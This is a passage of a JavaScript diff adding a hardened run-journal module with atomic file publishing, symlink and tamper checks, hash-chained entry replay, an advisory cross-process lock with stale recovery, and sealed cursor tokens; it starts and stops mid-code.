stat.mode }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function reopenAndVerify(token, label) { + let opened; + try { + opened = await openDirectoryHandle(token.path, label); + } catch (error) { + if (error instanceof RunContractV1Error + && (error.code === 'run_journal_not_found' || error.code === 'run_journal_unsafe_path')) { + failJournal('run_journal_root_swapped', label, `The journal ${label} was replaced during use.`); + } + throw error; + } + try { + if (!sameIdentity(opened, token)) { + failJournal('run_journal_root_swapped', label, `The journal ${label} was replaced during use.`); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +async function syncDirectory(handle) { + try { + await handle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failJournal('run_journal_io_failed', 'directory', 'The journal directory could not be synchronized.'); + } +} + +async function enumerateDirectory(token, maxEntries, field) { + let dir; + try { + dir = await opendir(token.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, field, 'run_journal_io_failed', 'The journal directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > maxEntries) { + failJournal('run_journal_flood', field, + `Journal directories must not exceed ${maxEntries} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, field)); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +async function readBoundedFile(dirToken, name, maxBytes, field, volatile = false) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + // A missing file is a legitimate observation (fresh journal); only + // instability after a successful open signals an atomic replacement. + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failJournal('run_journal_not_regular', field, 'Journal files must be regular non-symlink files.'); + } + mapErrno(error, field, 'run_journal_io_failed', 'The journal file could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) > maxBytes) { + failJournal('run_journal_file_too_large', field, + `Journal files must not exceed ${maxBytes} bytes.`); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failJournal('run_journal_file_too_large', field, + `Journal files must not exceed ${maxBytes} bytes.`); + } + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size) + || Number(after.nlink) !== Number(stat.nlink)) { + if (volatile || Number(after.nlink) === 0) throw new JournalVolatility('replaced'); + failJournal('run_journal_io_failed', field, 'The journal file changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function inspectChildFile(dirToken, name, field, volatile = false) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') { + if (volatile) throw new JournalVolatility('inspect-vanished'); + return { kind: 'missing' }; + } + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failJournal('run_journal_not_regular', field, 'Journal entries must be regular non-symlink files.'); + } + mapErrno(error, field, 'run_journal_io_failed', 'The journal entry could not be inspected.'); + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failJournal('run_journal_not_regular', field, 'Journal entries must be regular non-symlink files.'); + } + return { kind: 'file', stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +function isJournalVolatility(error) { + return error instanceof JournalVolatility; +} + +async function atomicPublish(dirToken, finalName, bytes, field) { + const tempName = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const tempPath = childPath(dirToken.path, tempName); + const finalPath = childPath(dirToken.path, finalName); + let handle; + try { + handle = await open(tempPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, field, 'run_journal_io_failed', 'A private temporary file could not be created.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) !== bytes.byteLength) { + failJournal('run_journal_io_failed', field, 'Temporary write was truncated.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await rename(tempPath, finalPath); + } catch (error) { + await unlink(tempPath).catch(() => {}); + mapErrno(error, field, 'run_journal_io_failed', 'The journal file could not be published atomically.'); + } + await syncDirectory(dirToken.handle); + return tempName; +} + +async function removeStaleTemporaries(dirToken, names) { + let removed = 0; + for (const name of names) { + if (!capturedTest(TEMP_NAME_PATTERN, name)) continue; + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failJournal('run_journal_torn_temporary', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + if (error?.code === 'ENOENT') continue; + throw error; + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failJournal('run_journal_torn_temporary', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failJournal('run_journal_torn_temporary', 'temporary', + 'A leftover temporary file is not owned by the current user.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await unlink(target); + removed += 1; + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + } + if (removed > 0) await syncDirectory(dirToken.handle); + return removed; +} + +// --------------------------------------------------------------------------- +// Accepted P24 durable run record binding +// --------------------------------------------------------------------------- + +function hashCanonical(canonical) { + return `sha256:${CREATE_HASH(HASH_ALGORITHM).update(canonical, 'utf8').digest('hex')}`; +} + +export function validateBoundRunRecord(record) { + if (record === undefined || record === null || typeof record !== 'object' || Array.isArray(record)) { + failJournal('invalid_type', 'record', 'A bound run record must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'record'); + const fields = closedObject(record, 'record', RUN_STORE_RECORD_KEYS); + if (fields.schema !== RUN_STORE_RECORD_SCHEMA_ID) { + failJournal('run_journal_record_invalid', 'record.schema', + `The bound record schema must be exactly "${RUN_STORE_RECORD_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, 'record.run_id'); + assertBoundDigest(fields.request_idempotency_key, 'record.request_idempotency_key'); + if (typeof fields.canonical_digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, fields.canonical_digest)) { + failJournal('run_journal_record_invalid', 'record.canonical_digest', + 'The bound record canonical digest must be a sha256 digest.'); + } + const identity = validateRunIdentityV1(fields.identity, 'identity'); + const git = validateGitIdentityV1(fields.git, 'git'); + assertSharedGitIdentityV1(identity.git, git, 'git'); + const provenance = validateDispatchProvenanceV1(fields.provenance); + const telemetry = validateDispatchTelemetryV1(fields.telemetry); + if (identity.run_id !== fields.run_id || provenance.run.run_id !== fields.run_id) { + failJournal('run_journal_identity_mismatch', 'record.run_id', + 'The bound record must bind exactly one run identity.'); + } + if (identity.digest !== provenance.run.digest) { + failJournal('run_journal_identity_mismatch', 'record.identity', + 'The run identity does not match the stored provenance run.'); + } + if (git.digest !== provenance.git.digest || git.digest !== identity.git.digest) { + failJournal('run_journal_identity_mismatch', 'record.git', + 'The Git identity does not match the immutable repository/base authority.'); + } + if (provenance.provider_run.request_idempotency_key !== fields.request_idempotency_key) { + failJournal('run_journal_identity_mismatch', 'record.request_idempotency_key', + 'The request idempotency key does not match the protected provider-run key.'); + } + const projectedCanonical = canonicalJsonStringify(projectDispatchTelemetryV1(provenance)); + if (projectedCanonical !== canonicalJsonStringify(telemetry)) { + failJournal('run_journal_identity_mismatch', 'record.telemetry', + 'Telemetry must be the content-free projection of the stored provenance.'); + } + const rebuilt = hashCanonical(canonicalJsonStringify({ + schema: fields.schema, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity, + git, + provenance, + telemetry, + })); + if (rebuilt !== fields.canonical_digest) { + failJournal('run_journal_record_mismatch', 'record.canonical_digest', + 'The bound record canonical digest does not match its recomputed value.'); + } + return snapshotRecord({ + schema: fields.schema, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity, + git, + provenance, + telemetry, + canonical_digest: fields.canonical_digest, + }); +} + +function assertStoreHandle(store) { + if (store === undefined || store === null || typeof store !== 'object' + || typeof store.getByRunId !== 'function' || typeof store.root !== 'string') { + failJournal('invalid_type', 'store', + 'The journal requires an accepted P24 openRunStore(...) handle.'); + } + return store; +} + +function parseJournalOptions(options) { + if (options === undefined || options === null || typeof options !== 'object' + || Array.isArray(options)) { + failJournal('invalid_type', 'options', 'Journal options must be a plain options object.'); + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(['root', 'store', 'run_id'], key)) { + failJournal('unknown_key', `options.${key}`, `options.${key} is not part of the closed options.`); + } + } + for (const key of ['root', 'store', 'run_id']) { + if (!capturedHasOwn(options, key)) { + failJournal('missing_key', `options.${key}`, `options.${key} is required.`); + } + } + const runId = options.run_id; + assertRunId(runId, 'run_id'); + return { + root: assertSafeRootPath(options.root), + store: assertStoreHandle(options.store), + runId, + }; +} + +// --------------------------------------------------------------------------- +// Journal parsing, verification, and replay +// --------------------------------------------------------------------------- + +function decodeStrictUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failJournal('run_journal_committed_corruption', field, + 'Journal files must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failJournal('run_journal_committed_corruption', field, 'Journal files must be valid UTF-8.'); + } +} + +function entryHash(seq, prev, kind, data, dedupeKey) { + const body = canonicalJsonStringify({ + seq, + prev, + kind, + data, + ...(dedupeKey === undefined ? {} : { dedupe_key: dedupeKey }), + }); + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(`${RUN_JOURNAL_HASH_DOMAIN}\n${body}`, 'utf8') + .digest('hex'); + return `sha256:${digest}`; +} + +function parseCommittedLine(line, index) { + // Every rejection of a newline-terminated line is committed corruption: + // the line claimed a committed boundary, so no specific shape detail is + // echoed beyond the constant typed code. + try { + let parsed; + try { + parsed = JSON_PARSE(line); + } catch { + throw new Error('json'); + } + if (parsed === undefined || parsed === null || typeof parsed !== 'object' + || Array.isArray(parsed)) { + throw new Error('shape'); + } + if (canonicalJsonStringify(parsed) !== line) throw new Error('canonical'); + const entry = validateRunJournalEntryV1(parsed); + const recomputed = entryHash( + entry.seq, + entry.prev, + entry.kind, + entry.data, + entry.dedupe_key === undefined ? undefined : entry.dedupe_key, + ); + if (recomputed !== entry.hash) throw new Error('hash'); + return freezeData(entry); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'run_journal_committed_corruption') { + throw error; + } + failJournal('run_journal_committed_corruption', `${JOURNAL_NAME}[${index}]`, + 'A committed journal line failed closed-form verification.'); + } +} + +// Splits raw journal bytes into committed newline-terminated entries and an +// optional unterminated torn tail segment (the only healable damage). +function parseJournalBytes(bytes) { + if (bytes === null || bytes === undefined || bytes.byteLength === 0) { + return { entries: [], entryLines: [], tornTailBytes: 0 }; + } + const text = decodeStrictUtf8(bytes, JOURNAL_NAME); + const segments = text.split('\n'); + const tail = segments.pop(); + const tornTailBytes = tail === '' + ? 0 + : NodeBuffer.byteLength(tail, 'utf8'); + const entries = []; + const entryLines = []; + for (let index = 0; index < segments.length; index += 1) { + const line = segments[index]; + if (line.length === 0) { + failJournal('run_journal_committed_corruption', `${JOURNAL_NAME}[${index}]`, + 'Committed journal lines must be non-empty.'); + } + entries.push(parseCommittedLine(line, index)); + entryLines.push(NodeBuffer.byteLength(line, 'utf8') + 1); + } + return { entries, entryLines, tornTailBytes }; +} + +function replayJournal(entries) { + return reduceRunJournalEntriesV1(entries); +} + +async function auditStateCache(dirToken, entries, replayedState, volatile = false) { + const opened = volatile + ? await (async () => { + try { + return await readBoundedFile( + dirToken, STATE_NAME, MAX_RUN_JOURNAL_STATE_BYTES, STATE_NAME, true, + ); + } catch (error) { + if (isJournalVolatility(error)) throw error; + throw error; + } + })() + : await readBoundedFile(dirToken, STATE_NAME, MAX_RUN_JOURNAL_STATE_BYTES, STATE_NAME); + if (opened === null) return { present: false }; + const text = decodeStrictUtf8(opened.bytes, STATE_NAME); + if (!text.endsWith('\n')) { + failJournal('run_journal_state_mismatch', STATE_NAME, + 'The derived state cache must end with a single newline.'); + } + const body = text.slice(0, -1); + let parsed; + try { + parsed = JSON_PARSE(body); + } catch { + failJournal('run_journal_state_mismatch', STATE_NAME, + 'The derived state cache is not valid JSON.'); + } + if (canonicalJsonStringify(parsed) !== body) { + failJournal('run_journal_state_mismatch', STATE_NAME, + 'The derived state cache is not canonical JSON.'); + } + validateRunJournalStateV1(parsed); + if (parsed.revision > replayedState.revision) { + failJournal('run_journal_state_regression', STATE_NAME, + 'The derived state cache revision exceeds the committed journal head.'); + } + const prefixState = replayJournal(entries.slice(0, parsed.revision)); + if (canonicalJsonStringify(prefixState) !== body) { + failJournal('run_journal_state_mismatch', STATE_NAME, + 'The derived state cache disagrees with the exact journal replay.'); + } + return { present: true, revision: parsed.revision }; +} + +// Verifies this directory is exactly the private journal created for the +// bound record. Survives inode reuse: a deleted-and-recreated or foreign +// substituted directory cannot carry the creation stamp of this binding. +async function verifyCreationStamp(dirToken, binding) { + const opened = await readBoundedFile(dirToken, STAMP_NAME, MAX_RUN_JOURNAL_STAMP_BYTES, STAMP_NAME); + const rebound = () => failJournal('run_journal_dir_rebound', STAMP_NAME, + 'The run directory is not the private journal created for this bound record.'); + if (opened === null) rebound(); + let text; + try { + text = TEXT_DECODER.decode(opened.bytes); + } catch { + rebound(); + } + let parsed; + try { + parsed = JSON_PARSE(text.slice(0, -1)); + } catch { + rebound(); + } + const keys = parsed === null || typeof parsed !== 'object' || Array.isArray(parsed) + ? [] + : sortedCapturedKeys(parsed); + if (!text.endsWith('\n') || canonicalJsonStringify(parsed) !== text.slice(0, -1) + || keys.length !== 4 + || !keys.includes('schema') || !keys.includes('run_id') + || !keys.includes('record_canonical_digest') || !keys.includes('nonce') + || parsed.schema !== RUN_JOURNAL_STAMP_SCHEMA_ID + || parsed.run_id !== binding.run_id + || parsed.record_canonical_digest !== binding.canonical_digest + || typeof parsed.nonce !== 'string' + || !capturedTest(/^[0-9a-f]{32}$/u, parsed.nonce)) { + rebound(); + } +} + +async function writeCreationStamp(dirToken, binding, nonceHex) { + const body = `${canonicalJsonStringify({ + schema: RUN_JOURNAL_STAMP_SCHEMA_ID, + run_id: binding.run_id, + record_canonical_digest: binding.canonical_digest, + nonce: nonceHex, + })}\n`; + await atomicPublish(dirToken, STAMP_NAME, NodeBuffer.from(body, 'utf8'), STAMP_NAME); +} + +// Every operation re-verifies the shared runs/ namespace: bounded count, +// exact run-id grammar, and plain-directory entries without symlinks. +async function auditRunsSiblings(dirToken) { + const runsPath = path.dirname(dirToken.path); + let dir; + try { + dir = await opendir(runsPath, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, 'runs', 'run_journal_unsafe_path', + 'The journal runs directory could not be re-verified.'); + } + const seen = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > MAX_RUN_DIRECTORIES + 1) { + failJournal('run_journal_flood', 'runs', + `The journal root must not exceed ${MAX_RUN_DIRECTORIES} run directories.`); + } + if (entry.name === '.' || entry.name === '..') continue; + assertSafeChildName(entry.name, 'runs'); + if (entry.isSymbolicLink() || (!entry.isDirectory() && !entry.isFile())) { + failJournal('run_journal_unsafe_path', 'runs', + 'The journal runs namespace must contain only real directories.'); + } + seen.push(entry.name); + } + } finally { + await dir.close().catch(() => {}); + } + return seen; +} + +async function auditLayout(dirToken, volatile = false) { + await auditRunsSiblings(dirToken); + const names = await enumerateDirectory(dirToken, MAX_RUN_JOURNAL_DIRECTORY_ENTRIES, 'directory'); + const temporaries = []; + for (const name of names) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name)) { + temporaries.push(name); + continue; + } + if (name !== JOURNAL_NAME && name !== STATE_NAME && name !== LOCK_NAME + && name !== STAMP_NAME) { + failJournal('run_journal_foreign_entry', 'directory', + 'The run journal directory contains a foreign entry.'); + } + let inspection; + try { + inspection = await inspectChildFile(dirToken, name, name, volatile); + } catch (error) { + if (volatile && isJournalVolatility(error)) throw error; + throw error; + } + if (inspection.kind === 'file') assertRegularUnsharedFile(inspection.stat, name); + } + if (temporaries.length > MAX_RUN_JOURNAL_TEMPORARIES) { + failJournal('run_journal_flood', 'temporary', + `Run journals must not accumulate more than ${MAX_RUN_JOURNAL_TEMPORARIES} temporaries.`); + } + return { names, temporaries }; +} + +// --------------------------------------------------------------------------- +// Advisory cross-process lock with bounded stale recovery +// --------------------------------------------------------------------------- + +function pidAlive(pid) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return false; + try { + process.kill(pid, 0); + return true; + } catch (error) { + return error?.code === 'EPERM'; + } +} + +function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +function validLockPidShape(pid) { + return NUMBER_IS_SAFE_INTEGER(pid) && pid >= 1 && pid <= 0xffffffff; +} + +// The lock file is intentionally volatile across processes: contenders may +// always observe it appearing, vanishing, being replaced, or carrying two +// links inside our own link(tmp->lock)/unlink(tmp) window. Mutual exclusion +// lives in the exclusive name, so the advisory reader skips the nlink rule; +// hostile shapes (symlink, oversized, malformed content) stay hard failures. +async function readLockFile(dirToken) { + const target = childPath(dirToken.path, LOCK_NAME); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'ENOTDIR' || error?.code === 'EISDIR') { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + throw error; + } + let opened; + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + if ((Number(stat.mode) & 0o077) !== 0 || Number(stat.size) > MAX_RUN_JOURNAL_LOCK_BYTES) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const bytes = await handle.readFile(); + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size)) { + return null; + } + opened = { bytes, stat }; + } catch (error) { + if (isJournalVolatility(error)) return null; + throw error; + } finally { + await handle.close().catch(() => {}); + } + if (opened === null) return null; + let text; + try { + text = TEXT_DECODER.decode(opened.bytes); + } catch { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const keys = parsed === null || typeof parsed !== 'object' ? [] : sortedCapturedKeys(parsed); + if (text.length > MAX_RUN_JOURNAL_LOCK_BYTES || keys.length !== 3 + || !keys.includes('schema') || !keys.includes('pid') || !keys.includes('nonce') + || parsed.schema !== RUN_JOURNAL_LOCK_SCHEMA_ID + || !validLockPidShape(parsed.pid) + || typeof parsed.nonce !== 'string' + || !capturedTest(/^[0-9a-f]{32}$/u, parsed.nonce)) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + return { schema: parsed.schema, pid: parsed.pid, nonce: parsed.nonce, dev: opened.stat.dev, ino: opened.stat.ino }; +} + +async function lockAgeMs(dirToken) { + let handle; + try { + handle = await open(childPath(dirToken.path, LOCK_NAME), FILE_READ_FLAGS); + } catch { + return 0; + } + try { + const stat = await handle.stat(); + return Math.max(0, Date.now() - Number(stat.mtimeMs)); + } catch { + return 0; + } finally { + await handle.close().catch(() => {}); + } +} + +async function acquireRunLock(dirToken) { + const deadline = Date.now() + RUN_JOURNAL_LOCK_WAIT_MS; + let steals = 0; + while (true) { + const ownerName = `.lock-${RANDOM_BYTES(16).toString('hex')}`; + const ownerPath = childPath(dirToken.path, ownerName); + const ownerBody = canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: process.pid, + nonce: RANDOM_BYTES(16).toString('hex'), + }); + let handle; + try { + handle = await open(ownerPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, 'lock', 'run_journal_io_failed', 'The lock owner file could not be created.'); + } + let acquired; + try { + await handle.writeFile(`${ownerBody}\n`, 'utf8'); + } finally { + await handle.close().catch(() => {}); + } + try { + await link(ownerPath, childPath(dirToken.path, LOCK_NAME)); + acquired = true; + } catch (error) { + if (error?.code === 'ENOENT') { + // A concurrent cleaner removed our owner file; restart the attempt. + acquired = false; + } else if (error?.code !== 'EEXIST') { + await unlink(ownerPath).catch(() => {}); + mapErrno(error, 'lock', 'run_journal_io_failed', 'The lock could not be acquired exclusively.'); + } else { + acquired = false; + } + } + await unlink(ownerPath).catch(() => {}); + if (acquired) { + const held = await readLockFile(dirToken); + if (held === null || held.pid !== process.pid) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The acquired lock was replaced before use.'); + } + return { dev: held.dev, ino: held.ino, nonce: held.nonce }; + } + const existing = await readLockFile(dirToken); + if (existing === null) continue; + const ageMs = await lockAgeMs(dirToken); + const stale = !pidAlive(existing.pid) || ageMs > RUN_JOURNAL_LOCK_MAX_AGE_MS; + if (stale && steals < MAX_RUN_JOURNAL_LOCK_STEALS) { + let current; + try { + current = await readLockFile(dirToken); + } catch { + current = null; + } + if (current !== null && current.pid === existing.pid + && Number(current.dev) === Number(existing.dev) + && Number(current.ino) === Number(existing.ino)) { + try { + await unlink(childPath(dirToken.path, LOCK_NAME)); + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + steals += 1; + continue; + } + continue; + } + if (Date.now() >= deadline) { + failJournal('run_journal_lock_timeout', LOCK_NAME, + 'The run journal lock stayed contended for the bounded wait.'); + } + await sleep(RUN_JOURNAL_LOCK_POLL_MS); + } +} + +async function releaseRunLock(dirToken, token) { + const held = await readLockFile(dirToken).catch(() => null); + if (held === null) return; + if (held.nonce !== token.nonce + || Number(held.dev) !== Number(token.dev) + || Number(held.ino) !== Number(token.ino)) { + return; + } + await unlink(childPath(dirToken.path, LOCK_NAME)).catch(() => {}); +} + +// --------------------------------------------------------------------------- +// Opaque run-bound cursor tokens +// --------------------------------------------------------------------------- + +function runFingerprint(runId, recordDigest) { + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(`${RUN_JOURNAL_HASH_DOMAIN}\n${runId}\n${recordDigest}\n`, 'utf8') + .digest('hex'); + return digest; +} + +function base64url(bytes) { + return NodeBuffer.from(bytes).toString('base64url'); +} + +function encodeCursorToken(fingerprint, seq, headHash) { + const payload = base64url(canonicalJsonStringify({ v: 1, run: fingerprint, seq, head: headHash })); + const seal = base64url( + CREATE_HASH(HASH_ALGORITHM).update(`${RUN_JOURNAL_CURSOR_DOMAIN}\n${payload}`, 'utf8').digest(), + ); + return `${payload}.${seal}`; +} + +function decodeCursorToken(token, fingerprint) { + const invalid = () => failJournal('run_journal_cursor_invalid', 'cursor', + 'The cursor token is malformed or was tampered with.'); + if (typeof token !== 'string' || token.length === 0 + || token.length > MAX_RUN_JOURNAL_CURSOR_CHARS) invalid(); + const parts = token.split('.'); + if (parts.length !== 2) invalid(); + const [payload, seal] = parts; + if (!capturedTest(BASE64URL_PATTERN, payload) || !capturedTest(BASE64URL_PATTERN, seal)) invalid(); + const expected = base64url( + CREATE_HASH(HASH_ALGORITHM).update(`${RUN_JOURNAL_CURSOR_DOMAIN}\n${payload}`, 'utf8').digest(), + ); + const sealed = NodeBuffer.from(seal, 'base64url'); + const wanted = NodeBuffer.from(expected, 'base64url'); + if (sealed.length !== wanted.length || !TIMING_SAFE_EQUAL(sealed, wanted)) invalid(); + let text; + try { + text = TEXT_DECODER.decode(NodeBuffer.from(payload, 'base64url')); + } catch { + invalid(); + } + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + invalid(); + } + if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed) + || sortedCapturedKeys(parsed).length !== 4 + || !capturedHasOwn(parsed, 'v') || !capturedHasOwn(parsed, 'run') + || !capturedHasOwn(parsed, 'seq') || !capturedHasOwn(parsed, 'head')) invalid(); + if (parsed.v !== 1 + || typeof parsed.seq !== 'number' || !NUMBER_IS_SAFE_INTEGER(parsed.seq) + || parsed.seq < 0 || parsed.seq > MAX_RUN_JOURNAL_ENTRIES + || (parsed.head !== RUN_JOURNAL_GENESIS_PREV && !capturedTest(SHA256_DIGEST_PATTERN, parsed.head))) { + invalid(); + } + if (typeof parsed.run !== 'string' || !capturedTest(HEX_PATTERN, parsed.run)) invalid(); + if (parsed.run !== fingerprint) { + failJournal('run_journal_cursor_cross_run', 'cursor', + 'The cursor token belongs to a different run binding.'); + } + return { seq: parsed.seq, head: parsed.head }; +} + +// --------------------------------------------------------------------------- +// Shared operation plumbing +// --------------------------------------------------------------------------- + +async function verifyRootSeparation(store, rootToken) { + let storeHandle; + try { + storeHandle = await open(assertSafeRootPath(store.root), ROOT_OPEN_FLAGS); + } catch (error) { + failJournal('run_journal_store_invalid', 'store', + 'The accepted P24 store root could not be verified.'); + } + try { + const stat = await storeHandle.stat(); + if (sameIdentity(stat, rootToken)) { + failJournal('run_journal_root_shared', 'root', + 'The journal root must be separate from the accepted P24 store root.'); + } + } finally { + await storeHandle.close().catch(() => {}); + } +} + +function withRunChain(dirToken, operation) { + const id = `${STRING(dirToken.dev)}:${STRING(dirToken.ino)}:${STRING(dirToken.path)}`; + const previous = JOURNAL_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (JOURNAL_CHAINS.get(id) === settled) JOURNAL_CHAINS.delete(id); + }); + JOURNAL_CHAINS.set(id, settled); + return current; +} + +async function buildHandle(parsed, binding, mode) { + const { root, store, runId } = parsed; + if (binding.run_id !== runId || typeof binding.canonical_digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, binding.canonical_digest)) { + failJournal('run_journal_identity_mismatch', 'run_id', + 'The bound record must carry the exact requested run identity.'); + } + const rootToken = await openDirectoryHandle(root, 'root'); + try { + await verifyRootSeparation(store, rootToken); + const rootNames = await enumerateDirectory(rootToken, MAX_RUN_JOURNAL_ROOT_ENTRIES, 'root'); + if (!rootNames.includes('runs')) { + if (mode !== 'create') { + failJournal('run_journal_not_found', 'root', + 'The journal root does not contain a runs directory yet.'); + } + await mkdirExclusive(path.join(root, 'runs'), 'runs'); + await syncDirectory(rootToken.handle); + } else if (rootNames.length !== 1) { + failJournal('run_journal_foreign_entry', 'root', + 'The journal root contains a foreign entry.'); + } + const runsToken = await openDirectoryHandle(path.join(root, 'runs'), 'runs'); + try { + const runNames = await enumerateDirectory(runsToken, MAX_RUN_DIRECTORIES + 1, 'runs'); + if (runNames.length > MAX_RUN_DIRECTORIES) { + failJournal('run_journal_flood', 'runs', + `The journal root must not exceed ${MAX_RUN_DIRECTORIES} run directories.`); + } + for (const name of runNames) { + assertRunId(name, 'runs'); + const childToken = await openDirectoryHandle(path.join(runsToken.path, name), 'runs'); + await childToken.handle.close().catch(() => {}); + } + if (mode === 'create' && runNames.includes(runId)) { + failJournal('run_journal_already_exists', 'run_id', + 'A run journal directory already exists for that run id.'); + } + if (mode === 'open' && !runNames.includes(runId)) { + failJournal('run_journal_not_found', 'run_id', + 'No run journal directory exists for that run id.'); + } + if (mode === 'create') { + await mkdirExclusive(path.join(runsToken.path, runId), 'run_id'); + await syncDirectory(runsToken.handle); + } + const dirToken = await openDirectoryHandle(path.join(runsToken.path, runId), 'directory'); + try { + if (dirToken.path !== path.join(runsToken.path, runId)) { + failJournal('run_journal_path_unsafe', 'run_id', + 'The run directory name must equal the bound run id.'); + } + if (mode === 'create') { + await verifyCreationStamp(dirToken, binding).then(() => { + failJournal('run_journal_already_exists', 'run_id', + 'A run journal already exists for that run identity.'); + }, (error) => { + if (!(error instanceof RunContractV1Error + && error.code === 'run_journal_dir_rebound')) throw error; + }); + await writeCreationStamp(dirToken, binding, RANDOM_BYTES(16).toString('hex')); + } else { + await verifyCreationStamp(dirToken, binding); + } + const fingerprint = runFingerprint(binding.run_id, binding.canonical_digest); + return assembleHandle({ + root, + store, + runId, + binding, + fingerprint, + rootToken: capturedFreeze({ path: rootToken.path, dev: rootToken.dev, ino: rootToken.ino }), + runsToken: capturedFreeze({ path: runsToken.path, dev: runsToken.dev, ino: runsToken.ino }), + dirToken: capturedFreeze({ path: dirToken.path, dev: dirToken.dev, ino: dirToken.ino }), + }); + } finally { + await dirToken.handle.close().catch(() => {}); + } + } finally { + await runsToken.handle.close().catch(() => {}); + } + } finally { + await rootToken.handle.close().catch(() => {}); + } +} + +async function mkdirExclusive(target, field) { + try { + await mkdir(target, { mode: 0o700 }); + } catch (error) { + if (error?.code === 'EEXIST') { + failJournal(field === 'runs' ? 'run_journal_unsafe_path' : 'run_journal_already_exists', field, + field === 'runs' + ? 'The journal runs directory was replaced concurrently.' + : 'A run journal directory already exists for that run id.'); + } + mapErrno(error, field, 'run_journal_io_failed', 'The journal directory could not be created.'); + } +} + +async function bindRecord(store, runId) { + const record = await store.getByRunId(runId); + return validateBoundRunRecord(record); +} + +function assembleHandle(context) { + const { store, runId, binding, fingerprint, rootToken, dirToken } = context; + // Snapshot cache for the serialized operation chain. Reads always fully + // re-audit; a locked mutation may reuse the snapshot only while the journal + // bytes are exactly the audited 